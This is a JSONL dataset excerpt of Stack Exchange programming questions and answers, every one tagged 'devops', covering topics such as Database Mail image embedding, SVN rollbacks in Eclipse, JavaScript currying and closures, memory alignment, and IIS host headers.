{"id": "hf_83a4ecfdd995", "question": "<p>I'm working on an email solution in SQL Server ONLY that will use Database Mail to send out HTML formatted emails.  The catch is that the images in the HTML need to be embedded in the outgoing email. This wouldn't be a problem if I were using a .net app to generate &amp; send the emails but, unfortunately, all I have is SQL Server.</p>\n\n<p>Is it possible for SQL Server to embed images on its own?</p>\n", "question_body": "", "answer": "You could try to encode the image as base64 and reference it directly in an img tag within the email (\n```\n<img src=\"data:image/png;base64[your encoded image here...]\n```\n) but i think most email clients correlate this technique with spam. I think you're better off referencing hosted images or simply attaching it to the email.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:21.498964"}
{"id": "hf_d4f992cc74ef", "question": "<p>Let's say I have committed some bad changes to Subversion repository. Then I commit good changes, that I want to keep.</p>\n\n<p>What would be easiest way to roll back those bad changes in Eclipse, and keep the good changes? Assuming that files relating to bad changes are not same as those relating to the good changes. How things change if good changes were made to same files as bad changes?</p>\n\n<p>I am mostly looking a way to do this via Eclipse plugins (Subclipse or Subversive) but commandline commands are also interesting.</p>\n", "question_body": "", "answer": "You have two choices to do this.\nThe Quick and Dirty is selecting your files (using\nctrl\n) in Project Explorer view, right-click them, choose\n```\nReplace with...\n```\nand then you choose the best option for you, from\n```\nLatest from Repository\n```\n, or some\n```\nBranch\n```\nversion. After getting those files you modify them (with a space, or fix something, your call and commit them to create a newer revision.\nA more clean way is choosing\n```\nMerge\n```\nat team menu and navigate through the wizard that will help you to recovery the old version in the actual revision.\nBoth commands have their command-line equivalents:\n```\nsvn revert\n```\nand\n```\nsvn merge\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:21.522844"}
{"id": "hf_d967a71c4d07", "question": "<p>Is there a way to conveniently define a C-like structure in Python? I'm tired of writing stuff like:</p>\n\n<pre><code>class MyStruct():\n    def __init__(self, field1, field2, field3):\n        self.field1 = field1\n        self.field2 = field2\n        self.field3 = field3\n</code></pre>\n", "question_body": "", "answer": "How about a dictionary?\nSomething like this:\n```\n```\nmyStruct = {'field1': 'some val', 'field2': 'some val'}\n```\n```\nThen you can use this to manipulate values:\n```\n```\nprint myStruct['field1']\nmyStruct['field2'] = 'some other values'\n```\n```\nAnd the values don't have to be strings.  They can be pretty much any other object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:21.547585"}
{"id": "hf_e1e0e42f54b7", "question": "<p>I have a popup window containing a form which gathers data for a report.\nWhen I click submit in that window, I want it to close the popup, and open the report in the original window that called the popup.</p>\n\n<p>I think I can open the report in the correct window by using</p>\n\n<pre><code>{ :target =&gt; &lt;name of window&gt; }\n</code></pre>\n\n<p>in the <code>form_tag</code>, but I don't know how to determine or set the name of the originating window.</p>\n\n<p>I also don't know how to close the popup window.</p>\n", "question_body": "", "answer": "How is\nthis\nfor starters?\n```\n```\n# The submit button in your child window's view:\n<%= button_to_function 'Save', \"$('my_form').submit(); window.opener.location.reload(); window.close();\" %>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:21.674615"}
{"id": "hf_2c4bd5ea3715", "question": "<p>I am attempting to update a project from ASP.NET MVC Preview 3 to Preview 5 and it seems that Controller.ReadFromRequest(string key) has been removed from the Controller class. Does anyone know of any alternatives to retrieving information based on an identifier from a form?</p>\n", "question_body": "", "answer": "Not sure where it went. You could roll your own extension though:\npublic static class MyBindingExtensions \n{\n```\n```\npublic static T ReadFromRequest < T > (this Controller controller, string key) \n{\n    // Setup\n    HttpContextBase context = controller.ControllerContext.HttpContext;\n    object val = null;\n    T result = default(T);\n\n    // Gaurd\n    if (context == null)\n        return result; // no point checking request\n\n    // Bind value (check form then query string)\n    if (context.Request.Form[key] != null)\n        val = context.Request.Form[key];\n    if (val == null) \n    {\n        if (context.Request.QueryString[key] != null)\n            val = context.Request.QueryString[key];\n    }\n\n    // Cast value\n    if (val != null)\n        result = (t)val;\n\n    return result;\n}\n\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:21.699132"}
{"id": "hf_c259e5af92cc", "question": "<p>In my PHP web app, I want to be notified via email whenever certain errors occur. I'd like to use my Gmail account for sending these. How could this be done?</p>\n", "question_body": "", "answer": "You could use PEAR's mail function with Gmail's SMTP Server\nNote that when sending e-mail using Gmail's SMTP server, it will look like it came from your Gmail address, despite what you value is for $from.\n(following code taken from\nAbout.com Programming Tips\n)\n```\n```\n<?php\nrequire_once \"Mail.php\";\n\n$from = \"Sandra Sender <sender@example.com>\";\n$to = \"Ramona Recipient <recipient@example.com>\";\n$subject = \"Hi!\";\n$body = \"Hi,\\n\\nHow are you?\";\n\n// stick your GMAIL SMTP info here! ------------------------------\n$host = \"mail.example.com\";\n$username = \"smtp_username\";\n$password = \"smtp_password\";\n// --------------------------------------------------------------\n\n$headers = array ('From' => $from,\n  'To' => $to,\n  'Subject' => $subject);\n$smtp = Mail::factory('smtp',\n  array ('host' => $host,\n    'auth' => true,\n    'username' => $username,\n    'password' => $password));\n\n$mail = $smtp->send($to, $headers, $body);\n\nif (PEAR::isError($mail)) {\n  echo(\"<p>\" . $mail->getMessage() . \"</p>\");\n } else {\n  echo(\"<p>Message successfully sent!</p>\");\n }\n?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:21.736023"}
{"id": "hf_589c6aed87ae", "question": "<p>I'm trying to leverage the using block more and more these days when I have an object that implements IDisposable but one thing I have not figured out is how to catch an exception as I would in a normal try/catch/finally ... any code samples to point me in the right direction?</p>\n\n<p>Edit: The question was modified after reading through the replies.  It was \"How to Throw an exception in a using block with .NET 2.0?\" but I was actually looking for a way to catch these exceptions inside a using block.</p>\n\n<hr>\n\n<p>I'm looking for more detail on rolling my own catching block inside a using block.</p>\n\n<p>Edit: What I wanted to avoid is having to use a try/catch/finally inside my using block like @Blair showed. But maybe this is a non issue...</p>\n\n<p>Edit: @Blair, this is exactly what I was looking for, thanks for the detailed reply!</p>\n", "question_body": "", "answer": "Yeah there is nothing different about throwing exceptions in using blocks.\nRemember that the using block basically translates to:\n```\n```\nIDisposable disposable = null;\ntry\n{\n    disposable = new WhateverYouWantedToMake();\n}\nfinally\n{\n    disposable.Dispose()\n}\n```\n```\nSo you will have to roll your own catching if you want to catch anything but catching/throwing is a completely separate concern from the using. The finally is almost guaranteed to execute (save an uncatchable exception (e.g. stackoverflow or outofmemory) or someone pulling the power out of the PC).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:21.761297"}
{"id": "hf_f3750210ba82", "question": "<p>How do I \"name\" a browser window in ROR, such that I can open a page in it later, from another (popup) window (using the target=\"name\" html parameter)</p>\n", "question_body": "", "answer": "You have to use JavaScript for this:\n```\n```\n<script type=\"text/javascript\">\n  window.name = \"MyWindow\";\n</script>\n```\n```\nOf course you could easily package this up into a Rails helper method. For example, in\n```\napp/helpers/application_helper.rb\n```\nadd a new method:\n```\n```\ndef window_name(name)\n  content_for(:window_name) do\n    \"<script type=\\\"text/javascript\\\">window.name = \\\"#{name}\\\";</script>\"\n  end\nend\n```\n```\nNext, in your layout file, add this line somewhere within the HTML\n```\n<head>\n```\nelement:\n```\n```\n<%= yield :window_name %>\n```\n```\nFinally, in your view templates, simply add a line like this (can be anywhere you want) to output the correct JavaScript:\n```\n```\n<% window_name 'MyWindow' %>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:21.802014"}
{"id": "hf_55cab8e9208f", "question": "<p>What is the best way of creating an alphabetically sorted list in Python?</p>\n", "question_body": "", "answer": "```\n```\nlist.sort()\n```\n```\nIt really is that simple :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:21.912722"}
{"id": "hf_7be861ff9c5c", "question": "<p>I've seen references to curried functions in several articles and blogs but I can't find a good explanation (or at least one that makes sense!)</p>\n", "question_body": "", "answer": "Currying is when you break down a function that takes multiple arguments into a series of functions that each take only one argument. Here's an example in JavaScript:\n```\n```\nfunction add (a, b) {\n  return a + b;\n}\n\nadd(3, 4); // returns 7\n```\n```\nThis is a function that takes two arguments, a and b, and returns their sum. We will now curry this function:\n```\n```\nfunction add (a) {\n  return function (b) {\n    return a + b;\n  }\n}\n```\n```\nThis is a function that takes one argument,\n```\na\n```\n, and returns a function that takes another argument,\n```\nb\n```\n, and that function returns their sum.\n```\n```\nadd(3)(4); // returns 7\n\nvar add3 = add(3); // returns a function\n\nadd3(4); // returns 7\n```\n```\nThe first statement returns 7, like the\n```\nadd(3, 4)\n```\nstatement.\nThe second statement defines a new function called\n```\nadd3\n```\nthat will\nadd 3 to its argument. (This is what some may call a closure.)\nThe third statement uses the\n```\nadd3\n```\noperation to add 3 to 4, again\nproducing 7 as a result.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:22.086492"}
{"id": "hf_4d0441e92c67", "question": "<p>It'd be really nice to target my Windows Forms app to the .NET 3.5 SP1 <em>client</em> framework. But, right now I'm using the <code>HttpUtility.HtmlDecode</code> and <code>HttpUtility.UrlDecode</code> functions, and the MSDN documentation doesn't point to any alternatives inside of, say, System.Net or something.</p>\n\n<p>So, short from reflectoring the source code and copying it into my assembly---which I don't think would be worth it---are there alternatives inside of the .NET 3.5 SP1 client framework that you know of, to replace this functionality? It seems a bit strange that they'd restrict these useful functions to server-only code.</p>\n", "question_body": "", "answer": "The\n.NET 3.5 SP1 Client Profile Setup Package\nis the \"cut down\" version of .NET that only includes what Microsoft perceive to be the \"useful\" bits of .NET for client applications. So, useful things like the\n```\nHttpUtility\n```\nclasses are missing.\nFor more on that see\nScottGu's blog\n, search for \"Client Profile Setup Package\".\nTo get around this you could always extract\n```\nSystem.Web.dll\n```\nfrom the GAC (it'll be in\n```\nc:\\windows\\Microsoft.NET\\Framework\\ ...\n```\n) and deploy it with your application. You will, however, need to track updates and service packs as you deploy.\nBetter might be to take the hit of the full .NET Framework deployment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:22.111808"}
{"id": "hf_c5c202095288", "question": "<p>Java has generics and C++ provides a very strong programming model with <code>template</code>s.\nSo then, what is the difference between C++ and Java generics?</p>\n", "question_body": "", "answer": "C++ has templates. Java has generics, which look kinda sorta like C++ templates, but they're very, very different.\nTemplates work, as the name implies, by providing the compiler with a (wait for it...) template that it can use to generate type-safe code by filling in the template parameters.\nGenerics, as I understand them, work the other way around: the type parameters are used by the compiler to verify that the code using them is type-safe, but the resulting code is generated without types at all.\nThink of C++ templates as a\nreally good\nmacro system, and Java generics as a tool for automatically generating typecasts.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:22.158463"}
{"id": "hf_b13dd5d16684", "question": "<p>I have a method which takes params object[] such as:</p>\n\n<pre><code>void Foo(params object[] items)\n{\n    Console.WriteLine(items[0]);\n}\n</code></pre>\n\n<p>When I pass two object arrays to this method, it works fine:</p>\n\n<pre><code>Foo(new object[]{ (object)\"1\", (object)\"2\" }, new object[]{ (object)\"3\", (object)\"4\" } );\n// Output: System.Object[]\n</code></pre>\n\n<p>But when I pass a single object[], it does not take my object[] as the first param, instead it takes its all elements like I wanted to pass them one by one:</p>\n\n<pre><code>Foo(new object[]{ (object)\"1\", (object)\"2\" });\n// Output: 1, expected: System.Object[]\n</code></pre>\n\n<p>How do I pass a single object[] as a first argument to a params array?</p>\n", "question_body": "", "answer": "You need to encapsulate it into another object[] array, like this:\n```\n```\nFoo(new Object[] { new object[]{ (object)\"1\", (object)\"2\" }});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:22.182123"}
{"id": "hf_9d16c244c730", "question": "<p>What Firefox add-ons do you use that are useful for programmers?</p>\n", "question_body": "", "answer": "As far as web development, especially for javascript, I find\nFirebug\nto be invaluable.\nWeb developer toolbar\nis also very useful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:22.206791"}
{"id": "hf_1cd47e49a3a1", "question": "<p>Older K&amp;R (2nd ed.) and other C-language texts I have read that discuss the implementation of a dynamic memory allocator in the style of <code>malloc()</code> and <code>free()</code> usually also mention, in passing, something about data type alignment restrictions. Apparently certain computer hardware architectures (CPU, registers, and memory access) restrict how you can store and address certain value types. For example, there may be a requirement that a 4 byte (<code>long</code>) integer must be stored beginning at addresses that are multiples of four.</p>\n\n<p>What restrictions, if any, do major platforms (Intel &amp; AMD, SPARC, Alpha) impose for memory allocation and memory access, or can I safely ignore aligning memory allocations on specific address boundaries?</p>\n", "question_body": "", "answer": "Alignment is still quite important today. Some processors (the 68k family jumps to mind) would throw an exception if you tried to access a word value on an odd boundary. Today, most processors will run two memory cycles to fetch an unaligned word, but this will definitely be slower than an aligned fetch. Some other processors won't even throw an exception, but will fetch an\nincorrect\nvalue from memory!\nIf for no other reason than performance, it is wise to try to follow your processor's alignment preferences. Usually, your compiler will take care of all the details, but if you're doing anything where you lay out the memory structure yourself, then it's worth considering.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:22.255626"}
{"id": "hf_ee5a720b079b", "question": "<p>What would be the best way to design a threaded commenting system so that it doesn't hammer the database?</p>\n", "question_body": "", "answer": "What I normally do in this case is to have a single thread that is responsible for putting the data into the database, and have all auxiliary threads report to that thread, which then queues up the data, and writes it either serially, or in batches (depending on the requirements, and how much database activity I'm willing to put up with).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:22.280062"}
{"id": "hf_beb6ed5a54c0", "question": "<p>I would like to quickly send email from the command line.  I realize there are probably a number of different ways to do this.</p>\n\n<p>I'm looking for a simple way to do this from a linux terminal (likely a bash shell but anything should do) and an alternative way to do this on Windows.  I want to be able to whip up an email right on the command line or have the flexibility to pipe the message into the command line program.  How would you go about doing this?  If you have small scripts that would be fine as well.</p>\n", "question_body": "", "answer": "```\n```\n$ echo \"This is the email body\" | mail -s \"This is the subject\" me@email.com\n```\n```\nAlternatively:\n```\n```\n$ cat | mail -s \"A few lines off the top of my head\" me@here.com\nThis is where my\nmultiline\nmessage would go\n^D\n```\n```\n^D - means press\nctrl\n+\nd", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:22.316402"}
{"id": "hf_21c941cdddf4", "question": "<p>I know Windows Vista (and XP) cache recently loaded DLL's in memory...</p>\n\n<p>How can this be disabled via the command prompt?</p>\n", "question_body": "", "answer": "The only thing you can do is disable SuperFetch, which can be done from the command prompt with this command (there has to be a space between the = sign and disabled).\n```\n```\nsc config Superfetch start= disabled\n```\n```\nThere is a myth out there that you can disable DLL caching, but that only worked for systems prior to Windows 2000. [\nsource\n]", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:22.341503"}
{"id": "hf_5576381e88c1", "question": "<p>I see a lot of talk on here about functional languages and stuff.  Why would you use one over a \"traditional\" language?  What do they do better?  What are they worse at?  What's the ideal functional programming application?</p>\n", "question_body": "", "answer": "One key feature in a functional language is the concept of first-class functions. The idea is that you can pass functions as parameters to other functions and return them as values.\nFunctional programming involves writing code that does not change state. The primary reason for doing so is so that successive calls to a function will yield the same result. You can write functional code in any language that supports first-class functions, but there are some languages, like Haskell, which do not allow you to change state. In fact, you're not supposed to make any side effects (like printing out text) at all - which sounds like it could be completely useless.\nHaskell instead employs a different approach to IO: monads. These are objects that contain the desired IO operation to be executed by your interpreter's toplevel. At any other level they are simply objects in the system.\nWhat advantages does functional programming provide? Functional programming allows coding with fewer potentials for bugs because each component is completely isolated. Also, using recursion and first-class functions allows for simple proofs of correctness which typically mirror the structure of the code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:22.365452"}
{"id": "hf_50c7ba3d0f14", "question": "<p>I'm attempting to create a dataset based on the properties of an object. For example, I have an instance of a Person class with properties including ID, Forename, Surname, DOB etc. Using reflection, I'm adding columns to a new dataset based on the object properties:</p>\n\n<pre><code>For Each pi As PropertyInfo In person.GetType().GetProperties()\n    Dim column As New DataColumn(pi.Name, pi.PropertyType)\n    table.Columns.Add(column)\nNext\n</code></pre>\n\n<p>My problem is that some of those properies are nullable types which aren't supported by datasets. Is there any way to extract the underlying system type from a nullable type?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "I'm guessing that the problem is recognizing whether the property is nullable or not. In C# you do this with this code:\n```\n```\nif (type.IsGenericType && type.GetGenericTypeDefinition() == typeof(Nullable<>))\n```\n```\n... but I'm not sure what the equivalent of that last clause is in VB.NET.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:22.390607"}
{"id": "hf_319d35ff1f14", "question": "<p>I have a page with a Google Maps mashup that has pushpins that are color-coded by day (Monday, Tuesday, etc.) The IFrame containing the map is dynamically sized, so it gets resized when the browser window is resized. </p>\n\n<p>I'd like to put a legend in the corner of the map window that tells the user what each color means. The Google Maps API includes a <code><a href=\"http://code.google.com/apis/maps/documentation/reference.html#GScreenOverlay\" rel=\"nofollow noreferrer\">GScreenOverlay</a></code> class that has the behavior that I want, but it only lets you specify an image to use as an overlay, and I'd prefer to use a DIV with text in it. What's the easiest way to position a DIV over the map window in (for example) the lower left corner that'll automatically stay in the same place relative to the corner when the browser window is resized?</p>\n", "question_body": "", "answer": "I would use HTML like the following:\n```\n```\n<div id=\"wrapper\">\n   <div id=\"map\" style=\"width:400px;height:400px;\"></div>\n   <div id=\"legend\"> ... marker descriptions in here ... </div>\n</div>\n```\n```\nYou can then style this to keep the legend in the bottom right:\n```\n```\ndiv#wrapper { position: relative; }\ndiv#legend { position: absolute; bottom: 0px; right: 0px; }\n```\n```\n```\nposition: relative\n```\nwill cause any contained elements to be positioned relative to the\n```\n#wrapper\n```\ncontainer, and\n```\nposition: absolute\n```\nwill cause the\n```\n#legend\n```\ndiv to be \"pulled\" out of the flow and sit above the map, keeping it's bottom right edge at the bottom of the\n```\n#wrapper\n```\nand stretching as required to contain the marker descriptions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:22.414572"}
{"id": "hf_1514a95d70da", "question": "<p>I'm writing a simple app that's going to have a tiny form sitting in one corner of the screen, updating itself.</p>\n\n<p>I'd really love for that form to be transparent and to have the transparency be user-configurable.</p>\n\n<p>Is there any easy way to achieve this?</p>\n", "question_body": "", "answer": "You can set the\n```\nForm.Opacity\n```\nproperty. It should do what you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:22.476454"}
{"id": "hf_ef832d85535e", "question": "<p>I'm looking into writing a audio syntesizer in Java, and was wondering if anybody has any advice or good resources for writing such a program. I'm looking for info on generating raw sound waves, how to output them into a usable form (playing over speakers), as well as general theory on the topic. Thanks guys.</p>\n", "question_body": "", "answer": "Check out\nFrinika\n. It's a full-featured music workstation implemented in Java (open source). Using the API, you can run midi events through the synthesizer, read the raw sound output, and write it to a WAV file (see source code link below).\nAdditional information:\nFrinika Developer Area\nSource code for midi renderer tool", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:22.501010"}
{"id": "hf_47be2a192959", "question": "<p>We're working on an application that displays information through a Direct3D visualisation. A late client request is the ability to view this application via some Remote Desktop solution.</p>\n\n<p>Has anyone done anything similar? What options are available / unavailable? I'm thinking RDC, VNC, Citrix...</p>\n\n<p>Any advice?</p>\n", "question_body": "", "answer": "I think you can still use all of the normal D3D tools, but you won't be able to render to a surface associated with the screen. You'll have to render to a DIB (or some such) and Blt it with GDI to a normal window HDC. RDC/VNC/Citrix should all work with this technique.\nPerformance will definitely suffer - but that's going to be the case over remote desktop anyway. In fact, if I were you, I would mock up a VERY simple prototype and demonstrate the performance before committing to it.\nGood luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:22.550214"}
{"id": "hf_56c04412179e", "question": "<p>What is the simplest and most elegant way to simulate the hover pseudo-class for non-Anchor tags in IE6?</p>\n\n<p>I am specifically trying to change the cursor in this instance to that of a pointer.</p>\n", "question_body": "", "answer": "I think the simplest way is to use the\nhover.htc\napproach. You add the hover.htc file to your site, then reference it in your stylesheet:\n```\n```\nbody { behavior:url(\"csshover.htc\"); }\n```\n```\nIf you want to keep things as clean as possible, you can use IE conditional comments so that line is only rendered users with IE6.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:22.582288"}
{"id": "hf_24132cf6cd1d", "question": "<p>I have a record set that includes a date field, and want to determine how many unique dates are represented in the record set.</p>\n\n<p>Something like:</p>\n\n<pre><code>Record.find(:all).date.unique.count \n</code></pre>\n\n<p>but of course, that doesn't seem to work.</p>\n", "question_body": "", "answer": "What you're going for is the following SQL:\n```\n```\nSELECT COUNT(DISTINCT date) FROM records\n```\n```\nActiveRecord has this built in:\n```\n```\nRecord.count('date', :distinct => true)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:22.606666"}
{"id": "hf_8075700ddefa", "question": "<p>I asked a question about Currying and closures were mentioned.\nWhat is a closure? How does it relate to currying?</p>\n", "question_body": "", "answer": "I'll give an example (in JavaScript):\n```\n```\nfunction makeCounter () {\n  var count = 0;\n  return function () {\n    count += 1;\n    return count;\n  }\n}\n\nvar x = makeCounter();\nx(); returns 1\nx(); returns 2\n...etc...\n```\n```\nWhat this function,\n```\nmakeCounter\n```\n, does is it returns a function, which we've called\n```\nx\n```\n, that will count up by one each time it's called. Since we're not providing any parameters to\n```\nx\n```\n, it must somehow remember the count. It knows where to find it based on what's called lexical scoping - it must look to the spot where it's defined to find the value. This \"hidden\" value is what is called a closure.\nHere is my currying example again:\n```\n```\nfunction add (a) {\n  return function (b) {\n    return a + b;\n  }\n}\n\nvar add3 = add(3);\n    \nadd3(4); returns 7\n```\n```\nWhat you can see is that when you call\n```\nadd\n```\nwith the parameter\n```\na\n```\n(which is 3), that value is contained in the closure of the returned function that we're defining to be\n```\nadd3\n```\n. That way, when we call\n```\nadd3\n```\n, it knows where to find the\n```\na\n```\nvalue to perform the addition.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:22.644615"}
{"id": "hf_3b2e30733219", "question": "<p>Does Python have a unit testing framework compatible with the standard xUnit style of test framework? If so, what is it, where is it, and is it any good?</p>\n", "question_body": "", "answer": "Python has several testing frameworks, including\n```\nunittest\n```\n,\n```\ndoctest\n```\n, and\n```\nnose\n```\n. The most xUnit-like is\n```\nunittest\n```\n, which is documented on Python.org.\n```\nunittest\n```\ndocumentation\n```\ndoctest\n```\ndocumentation", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:22.688425"}
{"id": "hf_1b73ab89b10f", "question": "<p>I'm parsing text from a file and storing it in a string.  The problem is that some of the text in the original files contains <code>ASCII art</code> and whatnot that I would like to preserve.  When I print out the string on the <code>HTML page</code>, even if it does have the same formatting and everything since it is in <code>HTML</code>, the spacing and line breaks are not preserved.  What is the best way to print out the text in <code>HTML</code> exactly as it was in the original text file?<br>\nI would like to give an example, but unfortunately, I was not able to get it to display correctly in this markdown editor :P<br>\nBasically, I would like suggestions on how to display <code>ASCII art in HTML</code>.</p>\n", "question_body": "", "answer": "When you print the data use\n```\nnl2br()\n```\nto convert\n```\n\\n\n```\nand\n```\n\\r\\n\n```\ninto\n```\n<br>\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:22.713793"}
{"id": "hf_ead1730f177e", "question": "<p>Is there a good yacc/bison type LALR parser generator for .NET ?</p>\n", "question_body": "", "answer": "The\nGardens Point Parser Generator\nlooks good, however I've not had a chance to try it myself.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:22.789101"}
{"id": "hf_ee34d09f3abc", "question": "<p>When using host headers to host multiple websites on the same IP address in IIS, is there any way of accessing that website from a browser running on the local machine?</p>\n\n<p>This is normally required when a given web component only allows configuration from the local machine. It's also useful when things like ASP.Net's built in error handling isn't working and you can only view the error in the browser but don't want to allow remote users to see it. </p>\n\n<p>This has baffled me for a while and everytime I come across it I end up giving up in frustration and reconfigure stuff so I can accomplish such tasks remotely.</p>\n\n<p><strong>Added:</strong> @Ishmaeel - modifying hosts doesn't seem to help - you either get a 400 error (if all websites have host headers) or whichever site is configured without a host header.</p>\n", "question_body": "", "answer": "Just an idea: Mapping the hostname to 127.0.0.1 in the hosts ($WINDOWS$\\system32\\drivers\\etc) file may help. This way you should be able to pull up the local IIS site by typing the hostname as if it's a remote server", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": 